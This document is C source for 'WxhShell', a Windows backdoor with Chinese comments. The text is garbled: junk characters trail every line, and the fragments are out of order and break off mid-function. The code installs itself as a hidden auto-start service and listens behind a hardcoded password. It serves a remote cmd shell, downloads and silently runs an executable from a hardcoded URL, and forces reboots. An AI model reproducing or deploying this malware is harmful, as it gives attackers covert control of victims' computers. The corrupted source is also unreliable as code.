    } f*9O39&|  
  // 关机 S kB*w'k  
  case 'd': { P|]r*1^5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _mwt{D2r}  
    if(Boot(SHUTDOWN)) ;oDr8a<A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ,CuWQ'H  
    else { .aVtd [  
    closesocket(wsh); ?,8+1"|$A]  
    ExitThread(0); x}V&v?1{5  
    } =;b3i1'U  
    break; ~131|e`C  
    } k}NM]9EAE  
  // 获取shell HXztEEK6  
  case 's': { sf# px|~9  
    CmdShell(wsh); `Pc<0*`a  
    closesocket(wsh); %~gI+0HK  
    ExitThread(0); CyW|k Dz  
    break; sowwXrECg@  
  } D} j`T  
  // 退出 XoL DqN!  
  case 'x': { s(J>yd=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eF9GhwE=  
    CloseIt(wsh); ,sL%Ykr  
    break; slUi)@b  
    } /]MelW  
  // 离开 k+ w Ji  
  case 'q': { o[i N/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]dI^ S  
    closesocket(wsh); KAI2[ gs  
    WSACleanup(); X;Sb^c"j1  
    exit(1); Jp+'"a  
    break; :zPK  
        } }u=Oi@~  
  } }(|gC,  
  } 3}F>t{FDk  
a.}#nSYP  
  // 提示信息 MGt>:&s(]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O=(F46 M  
} i/1$uQ  
  } J{Kw@_ypP  
jy?*`q1]  
  return; J'$NBws  
} E5M/XW\E6  
`Hlf.>b1  
// shell模块句柄 t'@mUX:-A  
int CmdShell(SOCKET sock) d(d<@cB9  
{ k:R\;l5  
STARTUPINFO si; Ez5t)l-  
ZeroMemory(&si,sizeof(si)); ?X@[ibH6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vk4 8&8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9&AO  
PROCESS_INFORMATION ProcessInfo; -bzlp7q*  
char cmdline[]="cmd"; a*U[;(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $5)#L$!,]  
  return 0; K4<"XF1A:  
} ,.>9$(s  
H~:oW~Ah  
// 自身启动模式 Td'(RV  
int StartFromService(void) M-Efe_VRQc  
{ a'?;;ZC-  
typedef struct 1J"I.  
{ -oyA5Y x0  
  DWORD ExitStatus; 4=Ru{ewRV  
  DWORD PebBaseAddress; `hkvxt  
  DWORD AffinityMask; R P<M  
  DWORD BasePriority; %bN{FKNN  
  ULONG UniqueProcessId; h]ae^M  
  ULONG InheritedFromUniqueProcessId; `v``}8tm  
}   PROCESS_BASIC_INFORMATION;  Jc ze.t  
=[TXH^.0  
PROCNTQSIP NtQueryInformationProcess; x|Ms2.!  
M pz9}[`3g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "2"2qZ*h}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;_/!F}d  
,jy9\n*<t9  
  HANDLE             hProcess; iW[%|ddk  
  PROCESS_BASIC_INFORMATION pbi; R{9G$b1Due  
<II>io ;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WvcPOt8Bp>  
  if(NULL == hInst ) return 0; UQBc$`v  
uJ3*AO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]1q`N7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b,#?LdQ%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xr^fP~V|)0  
YizwKcuZ  
  if (!NtQueryInformationProcess) return 0; }l5Q0'  
7K24sHw;%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aM\Ph&c7e'  
  if(!hProcess) return 0; -Y>QKS  
?oU5H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X/D% cQ6  
3AcDW6x|  
  CloseHandle(hProcess); I\= &v^]  
YG#{/;^nm)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  &/)To  
if(hProcess==NULL) return 0; tG 0 &0`  
6D4 j];~X  
HMODULE hMod; 3nx*M=  
char procName[255]; 6^z):d#u  
unsigned long cbNeeded; rxeOT# N}  
_$T.N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LUA<N:  
X D \;|  
  CloseHandle(hProcess); F^cu!-L  
Y>CZ  
if(strstr(procName,"services")) return 1; // 以服务启动 ;Hu`BFXyD  
is{H >#+"  
  return 0; // 注册表启动 t28 y=nv  
} =qww|B92  
hhJs$c(  
// 主模块 W'5c%SI  
int StartWxhshell(LPSTR lpCmdLine) A3Vj3em  
{ }`_x%]EJ  
  SOCKET wsl; L ?S#3@Pa  
BOOL val=TRUE; Ne}x(uRn  
  int port=0; .s3y^1C  
  struct sockaddr_in door; 2Jt*s$  
Y-]Ne"+vf  
  if(wscfg.ws_autoins) Install(); %WFZ&>en&  
K^c%$n:}+  
port=atoi(lpCmdLine); P5Pb2|\*  
Mu$"fYKf"  
if(port<=0) port=wscfg.ws_port; lR5k1J1n  
wU&vkb)k  
  WSADATA data; Z:>ek>Op  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {BD G;e  
!InC8+be  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cTdX'5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |G P1[Q{  
  door.sin_family = AF_INET; y2>AbrJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g 4lk  
  door.sin_port = htons(port); \C"hL(4-  
A 7zL\U4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EskD)Sl   
closesocket(wsl); mfr7w+DK  
return 1; +.66Ky`|[  
} Url8&.pw  
J|DY /v  
  if(listen(wsl,2) == INVALID_SOCKET) { LDj*~\vsq  
closesocket(wsl); 1raq;^e9  
return 1; h&:XO9dY  
} N$P\$  
  Wxhshell(wsl); tIo b  
  WSACleanup(); `~2I  
4&G #Bi  
return 0; |6b&khAM  
jL:GP}I=  
} G@o\D-$  
__,F_9M  
// 以NT服务方式启动 nYy+5u]FG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hWRr#030  
{ |L(h+/>aWX  
DWORD   status = 0; (E7C9U*  
  DWORD   specificError = 0xfffffff; qR9!DQc'  
r)[Xzn   
  serviceStatus.dwServiceType     = SERVICE_WIN32; #?7g_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y*#+:D]o*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z#/"5 l   
  serviceStatus.dwWin32ExitCode     = 0; }hS$F  
  serviceStatus.dwServiceSpecificExitCode = 0; !Mj28  
  serviceStatus.dwCheckPoint       = 0; yMJ(Sf  
  serviceStatus.dwWaitHint       = 0; MCl-er"]D  
O<y65#68Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R#HX}[Hb  
  if (hServiceStatusHandle==0) return; E*d UJ.>  
+w8$-eFY  
status = GetLastError(); !>EK %OO  
  if (status!=NO_ERROR) UZJ#/x5F  
{ 96<0=   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =!IoL7x  
    serviceStatus.dwCheckPoint       = 0; ,z`* 1b8  
    serviceStatus.dwWaitHint       = 0; L`"V_ "Q#0  
    serviceStatus.dwWin32ExitCode     = status; zB'_YwW  
    serviceStatus.dwServiceSpecificExitCode = specificError; c uHF^l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @nIoIz D~  
    return; nRs:^Q~o  
  } {pC$jd>T  
B{>x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #q6#nfi"  
  serviceStatus.dwCheckPoint       = 0; zEYQZywc  
  serviceStatus.dwWaitHint       = 0; OtoG,~?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j8;Uny9  
} ,6SzW+L7  
{2U3   
// 处理NT服务事件,比如:启动、停止  C~T*Wlk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3;3 cTXR?=  
{ 5. +_'bF|  
switch(fdwControl) H/ar: j  
{ C@u}tH )  
case SERVICE_CONTROL_STOP: t\f[->f  
  serviceStatus.dwWin32ExitCode = 0; GIhFOK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Cm9#FA  
  serviceStatus.dwCheckPoint   = 0; z-h?Q4;  
  serviceStatus.dwWaitHint     = 0; ,@\z{}~v  
  { |BXp`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \s7/`  
  } 'l_F@ZO{(  
  return; lLLPvW[Q  
case SERVICE_CONTROL_PAUSE: W#\{[o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; co-1r/ -O  
  break; < Df2  
case SERVICE_CONTROL_CONTINUE: oj@=Cq':-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F:8@ ]tA&  
  break; -FW^fGS+  
case SERVICE_CONTROL_INTERROGATE: :"cKxd  
  break; !\cVe;<r  
}; mSGpxZ,IE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]d.e(yCuE  
} nX8ulGGs  
0bOT&Z^  
// 标准应用程序主函数 C$4{'J-ZH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "bz]5c~  
{ t+D= @"BZP  
z>)lp$  
// 获取操作系统版本 l[C_vUg  
OsIsNt=GetOsVer(); lv+: `   
GetModuleFileName(NULL,ExeFile,MAX_PATH); V=8npz   
Y7;=\/SV  
  // 从命令行安装 35L\  
  if(strpbrk(lpCmdLine,"iI")) Install(); O^@F?CG :1  
tJA"BP3f  
  // 下载执行文件 (L:Mdo  
if(wscfg.ws_downexe) { |Qn>K   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) stiYC#bI:  
  WinExec(wscfg.ws_filenam,SW_HIDE); \["I.gQ  
} 2w fkXS=~6  
taMcm}*T1  
if(!OsIsNt) { PsOq-  
// 如果时win9x,隐藏进程并且设置为注册表启动 [3x},KM  
HideProc(); Y^y:N$3$\  
StartWxhshell(lpCmdLine); =sF4H_B  
} PcjeuJZ  
else .o]9 HbIk5  
  if(StartFromService()) N 6> rU  
  // 以服务方式启动 U>@AE  
  StartServiceCtrlDispatcher(DispatchTable); 2sp4Mm  
else wN^^_  
  // 普通方式启动 rV} 5&N*c  
  StartWxhshell(lpCmdLine); C_yNSD  
z[K)0@8 6  
return 0; b_7LSp  
} Q$sC%P(y  
0.2stBw  
l dp$jrNLr  
q$"?P  
=========================================== F>GPi!O  
*Uy;P>8  
Pq@ -`sw  
YL78cWOs  
GVfRy@7n  
\U##b~Z,g  
" I:6XM?  
H)CoByaj  
#include <stdio.h> <PM.4B@  
#include <string.h> >V4r '9I  
#include <windows.h> C ](djkA$  
#include <winsock2.h> #2"'tHf4  
#include <winsvc.h> Y*{5'q+2  
#include <urlmon.h> s_^N=3Si   
+KWO`WR  
#pragma comment (lib, "Ws2_32.lib") @Ae&1O;Zh  
#pragma comment (lib, "urlmon.lib") [j0jAl  
4wGBB{X  
#define MAX_USER   100 // 最大客户端连接数 \DWKG~r-%  
#define BUF_SOCK   200 // sock buffer L,ax^]  
#define KEY_BUFF   255 // 输入 buffer v#`>  
h:sf?X[  
#define REBOOT     0   // 重启 g"kET]KP"  
#define SHUTDOWN   1   // 关机 U#Iwe=  
Z^=(9 :  
#define DEF_PORT   5000 // 监听端口 k8@bQ"#b  
6y57m;JW/  
#define REG_LEN     16   // 注册表键长度 eW8{ ],B  
#define SVC_LEN     80   // NT服务名长度 :Nwv &+  
=e0MEV#s.  
// 从dll定义API 4'`H H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g9NE>n(3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wy{ sS}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +U%epq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i_QiE2d  
BUV4L5(  
// wxhshell配置信息 f8V )nM+v"  
struct WSCFG { y>#kT  
  int ws_port;         // 监听端口 BE],PCpPr  
  char ws_passstr[REG_LEN]; // 口令 D:?"Rf{)  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,-8Xb+!8I  
  char ws_regname[REG_LEN]; // 注册表键名 fY?:SPR+  
  char ws_svcname[REG_LEN]; // 服务名 R y(<6u0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r!w*y3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t F 7u-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2X*n93AQi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p$= 3$I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qh&q <M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uFhPNR2l  
~66v.`K!  
}; GoH.0eQ^  
6@3v+Vf'  
// default Wxhshell configuration Qh6 vH9(D  
struct WSCFG wscfg={DEF_PORT, g& f)WQ(  
    "xuhuanlingzhe", 'HCRi Z<  
    1, UH;bg}=8  
    "Wxhshell", #3eI4KJ4+l  
    "Wxhshell", x\yr~$}(J  
            "WxhShell Service", p! )tA  
    "Wrsky Windows CmdShell Service", !0|&f>y  
    "Please Input Your Password: ", 2"j&_$#l5X  
  1, 2PUB@B' +  
  "http://www.wrsky.com/wxhshell.exe", 2 e#"JZ=  
  "Wxhshell.exe" O8N1gf;t  
    }; =|dm#w_L"  
*~cNUyd  
// 消息定义模块 #pPR>,4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RBg2iG$ 8|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;`kOFg#`)c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &B=z*m  
char *msg_ws_ext="\n\rExit."; [D(JEO@ :  
char *msg_ws_end="\n\rQuit."; oL }d=x/  
char *msg_ws_boot="\n\rReboot..."; rg#/kd<?[V  
char *msg_ws_poff="\n\rShutdown...";  j0O1??  
char *msg_ws_down="\n\rSave to "; M?hPlo"_  
<7B;_3/  
char *msg_ws_err="\n\rErr!"; 3m2y<l<  
char *msg_ws_ok="\n\rOK!"; ,I+O;B:0  
2chT^3e  
char ExeFile[MAX_PATH]; 9$ VdYw7D  
int nUser = 0; v&%W*M0q@  
HANDLE handles[MAX_USER]; f,LeJTX=  
int OsIsNt; t\!5$P  
JHVndK4L  
SERVICE_STATUS       serviceStatus; {!{T,_ J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I\rjw$V#  
eecIF0hp  
// 函数声明 #q9BU:  
int Install(void); e%{7CR'~TD  
int Uninstall(void); -x J\/"A  
int DownloadFile(char *sURL, SOCKET wsh); J4iu8_eH!D  
int Boot(int flag); %?qzP '  
void HideProc(void); 3O2vY1Y2  
int GetOsVer(void); T2mZkK?rA  
int Wxhshell(SOCKET wsl); VeQ [A?pER  
void TalkWithClient(void *cs); (4`Tf*5hHa  
int CmdShell(SOCKET sock); ~{kA;uw  
int StartFromService(void); W&Xi &[Ux  
int StartWxhshell(LPSTR lpCmdLine); r8FAV9A  
!}1l8Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A,= R`m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I>-}ys`[  
4xFAFK~lx  
// 数据结构和表定义 q?L*Luu+  
SERVICE_TABLE_ENTRY DispatchTable[] = ,c;#~y  
{ cRf;7G  
{wscfg.ws_svcname, NTServiceMain}, *0'{ n*>  
{NULL, NULL} y4!fu<[i  
}; ~wGjr7Wt  
x0TE+rf5   
// 自我安装 OU mZ|  
int Install(void) TFhYu  
{ (m.jC}J  
  char svExeFile[MAX_PATH]; pBQ[lPCY/  
  HKEY key; +,D82V7S  
  strcpy(svExeFile,ExeFile); Ag1nxV1M$  
:X*uE^bH  
// 如果是win9x系统,修改注册表设为自启动 F{}:e QD  
if(!OsIsNt) { u/\Ipk/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~H]d9C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )MX%DQw  
  RegCloseKey(key); J=n^&y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z:{R4#(Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); icK U)  
  RegCloseKey(key); x_H"<-By  
  return 0; lw4#C`bx  
    } A {')  
  } Mq6_Q07  
} )9!ZkZbv_m  
else { VC!g,LU|-  
%g4)f9>  
// 如果是NT以上系统,安装为系统服务 Ax!fvcsN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y|wR)\  
if (schSCManager!=0) `k08M)  
{ H{Na'_sL  
  SC_HANDLE schService = CreateService :!,.c $M  
  ( #- d-zV*  
  schSCManager, a6o p  
  wscfg.ws_svcname, Y XxWu8  
  wscfg.ws_svcdisp,  6AmFl<  
  SERVICE_ALL_ACCESS, [3W+h1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W8!8/ IZbN  
  SERVICE_AUTO_START, + V-&?E(  
  SERVICE_ERROR_NORMAL, m$q*  
  svExeFile, iWn7vv/t  
  NULL, h^b=  
  NULL, nSU7,K`PM  
  NULL, u\UI6/  
  NULL, k${F7I(Tb  
  NULL ]PXpzruy  
  ); ^EKf_w-v  
  if (schService!=0) g|4v>5Y  
  { &44?k:  
  CloseServiceHandle(schService); Xec U&  
  CloseServiceHandle(schSCManager);  Qp>Q-+e0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )i>T\B  
  strcat(svExeFile,wscfg.ws_svcname); VnMiZAHR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gH/k}M7tA#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  eYRm:KC  
  RegCloseKey(key); V{kgDpB  
  return 0; GP}+c8|2  
    } 2E3x=  
  } BH=C  oD.  
  CloseServiceHandle(schSCManager); J7rfHhz  
} hn u/  
} 93#wU})  
+UP?M4g  
return 1; Eh f{Kl  
} n?A;'\cK  
rhvsd2 zi  
// 自我卸载 (tP^F)}e5  
int Uninstall(void) rW3fd.;kss  
{ M3 $MgsN:  
  HKEY key; _qqJ>E<0  
1YMu\(  
if(!OsIsNt) { c}FZb$q#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qT L@N9  
  RegDeleteValue(key,wscfg.ws_regname); .{W)E  
  RegCloseKey(key); T/C1x9=?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bhrp"l +|  
  RegDeleteValue(key,wscfg.ws_regname); [HENk34  
  RegCloseKey(key); {z}OZHJN  
  return 0; e: :H1V  
  } CR$5'#11)  
} 4%k_c79>  
} |bz,cvlP W  
else { "GofQ5,|  
etH%E aF[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ",T-'>h$2R  
if (schSCManager!=0) `W8dayZt  
{ _\LAWQ|M4[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j7 D\O  
  if (schService!=0) I(Yyg,1Z  
  { /P0%4aWu=  
  if(DeleteService(schService)!=0) { IPnbR)[%  
  CloseServiceHandle(schService); 6(}8[i:  
  CloseServiceHandle(schSCManager); U{o0Posg  
  return 0; .gWYKZM  
  } =6TD3k6(2  
  CloseServiceHandle(schService); ?J~(qaa;  
  } puz~Rfn#*  
  CloseServiceHandle(schSCManager); Vj"B#  
} a ^b_&}y  
} l7P~_X_)"  
igsJa1F  
return 1; m>'sM1s  
} iVt6rX  
T?c:z?j_9  
// 从指定url下载文件 Pz1pEyuL  
int DownloadFile(char *sURL, SOCKET wsh) /nRi19a%xU  
{ aQaO.K2  
  HRESULT hr; Nd*zSsVlq  
char seps[]= "/"; F%x8y  
char *token; B&yb%`9],W  
char *file; T'l >$6  
char myURL[MAX_PATH]; (yCF pb  
char myFILE[MAX_PATH]; { CkxUec  
hX]vZR&R  
strcpy(myURL,sURL); b$+.}&M  
  token=strtok(myURL,seps); jyf[O -  
  while(token!=NULL) 'tp1|n/1  
  { A\_cGM2  
    file=token; Bls\)$  
  token=strtok(NULL,seps); b&Qj`j4]ZM  
  } [C)-=.Xx)j  
iU\WV  
GetCurrentDirectory(MAX_PATH,myFILE); g#;w)-Zj  
strcat(myFILE, "\\"); -U(T  
strcat(myFILE, file); ewSFB< N  
  send(wsh,myFILE,strlen(myFILE),0);  tQB+_q z  
send(wsh,"...",3,0); #m6 eG&a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ` IiAtS  
  if(hr==S_OK) e;56}w  
return 0; hp!UW  
else [Zk|s9  
return 1; |Z<NM#1  
)%U&z>^P  
} -#H>kbs  
:Q=Jn?Gjb  
// 系统电源模块 67Z|=B !7  
int Boot(int flag) %zyO}  
{ O2?ye4uq  
  HANDLE hToken; Hm4:m$=p4  
  TOKEN_PRIVILEGES tkp; HiEXw}Hkz  
RX%*:lXi_  
  if(OsIsNt) { xj iMM>|n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6|t4\'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^$Dpdz I  
    tkp.PrivilegeCount = 1; ~oh=QakW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z16G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _) 2fXG!  
if(flag==REBOOT) { b&B<'Wb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0Np }O=>  
  return 0; SJ;u,XyWn  
} I|,^a|\  
else { I2(5]85&]s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $ckX H,l_  
  return 0; 7\'vSHIL  
} /pZLt)=P  
  } i2/:' i  
  else { abUvU26t  
if(flag==REBOOT) { &xMR{:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +.&#whEw(i  
  return 0; ~xpU<Pd*  
} {3]g3mj  
else { E8u :Fg s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \T'uFy9&a  
  return 0; ]d}Z2I'  
} o-Pa3L=  
} (m4`l_  
h.ojj$f,  
return 1; 2?58=i%b  
} -mOSB(#bo  
aG}ju;  
// win9x进程隐藏模块 x'@0]f.  
void HideProc(void) 3:7J@>  
{ A1zM$ wDU  
j{SRE1tqh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _>%P};G{>  
  if ( hKernel != NULL ) ?Ko)AP  
  { W# E`h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $]K gs6=r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CTQF+Oe8O  
    FreeLibrary(hKernel); kB {  
  } mufi>}  
^A dHP!I  
return; Ikql  
} |} ;&xI  
\:9dt8(-U  
// 获取操作系统版本 %bgjJ`  
int GetOsVer(void) m.e+S,i  
{ S#6{4x4  
  OSVERSIONINFO winfo; R7}=k)U?d@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e`zx#v  
  GetVersionEx(&winfo); bhDV U(%I6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6z=h0,Y}  
  return 1; u9My.u@-*%  
  else zgRZgVj  
  return 0; !|;^  
} iz!E1(z(  
YyEW}2  
// 客户端句柄模块 g*?)o!_*  
int Wxhshell(SOCKET wsl) VI7f}  
{ L)W1bW}  
  SOCKET wsh; 1$T;u~vg  
  struct sockaddr_in client; ^F2 OTz4n  
  DWORD myID; 9o5W\.A7[D  
P1KXvc}JGe  
  while(nUser<MAX_USER) ([SrIG>X  
{ s\i:;`l:=5  
  int nSize=sizeof(client); gsFyZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5Z"IM8?  
  if(wsh==INVALID_SOCKET) return 1; @v{lH&K:;  
zmd,uhNc:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 81Ixs Qt  
if(handles[nUser]==0) /orpQUHA  
  closesocket(wsh); Bu|U z0Y  
else WeyH;P=  
  nUser++; &c!d}pU}  
  } -}avH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I3sH8/*  
x?s5vxAKf  
  return 0; W,<L/ZKJ  
} y.,S}7l:  
#=@H-ZuD7  
// 关闭 socket ?^y%UIzf  
void CloseIt(SOCKET wsh) M]9oSi  
{ :sO^b*e /  
closesocket(wsh); $7M/rF;N5X  
nUser--; 8/q6vk><  
ExitThread(0); @;>i3?  
} `"~s<+  
5A|4  
// 客户端请求句柄 WOqAVd\  
void TalkWithClient(void *cs) V.<$c1#=$  
{ ~yacJU=  
~9#x/EG/  
  SOCKET wsh=(SOCKET)cs; MV8Lk/zd?A  
  char pwd[SVC_LEN]; 'zYKG5A  
  char cmd[KEY_BUFF]; &qR1fbw"  
char chr[1]; Mou@G3  
int i,j; Hgu:*iYA  
YA(_*h  
  while (nUser < MAX_USER) { g7*"*%v 2  
?l\1n,!:8  
if(wscfg.ws_passstr) { O<}^`4d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9{OH%bF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D@]gc&JN[  
  //ZeroMemory(pwd,KEY_BUFF); 31BN ?q  
      i=0; TTNgnP  
  while(i<SVC_LEN) { #Bo/1G=  
 $^&SEz  
  // 设置超时 e[`E-br^  
  fd_set FdRead; <9za!.(zu  
  struct timeval TimeOut; ,p(4OZz5,  
  FD_ZERO(&FdRead); R<r"jOd]  
  FD_SET(wsh,&FdRead); qg7] YT&  
  TimeOut.tv_sec=8; i?7%z`  
  TimeOut.tv_usec=0; 8mjP2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s3G\L<~mB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WZ.d"EE"  
HSt|Ua.c/h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bjg 21bw^  
  pwd=chr[0]; &&1q@m,cP  
  if(chr[0]==0xd || chr[0]==0xa) { 6{O#!o*g  
  pwd=0; >.R6\>N%  
  break; B x(+uNQ  
  } ' pE %'8R  
  i++; Kd_WN;l  
    } Ru%: z>Y  
Kuh! b`9  
  // 如果是非法用户,关闭 socket vFfvvRda4x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C,C=W]G  
} /)8 0@  
Y^)VHE]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  m8rz i:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _ Ko0  
vcB +h;x  
while(1) { l<<G". ?  
0/.#V*KM  
  ZeroMemory(cmd,KEY_BUFF); B0c}5V  
lY}mrb  
      // 自动支持客户端 telnet标准   ,2>:h"^  
  j=0; mRCgKW<  
  while(j<KEY_BUFF) { $ Z;HE/ 3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A!v-[AI[  
  cmd[j]=chr[0]; XEqg%f  
  if(chr[0]==0xa || chr[0]==0xd) { <!,q:[ee5  
  cmd[j]=0;  w'=#7$N  
  break; KmV>tn BQ  
  } f{e*R#+&  
  j++; VGcl)fIqw?  
    } TGLkwXOkT  
&QOob)  
  // 下载文件 F~d !Ub$>  
  if(strstr(cmd,"http://")) { gB 3&AQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gb:Cc,F,%  
  if(DownloadFile(cmd,wsh)) ej,MmLu~^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pyi PhOJe  
  else ilK8V4k<T)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;hs:wLVa"  
  } lGB7(  
  else { P7\(D`  
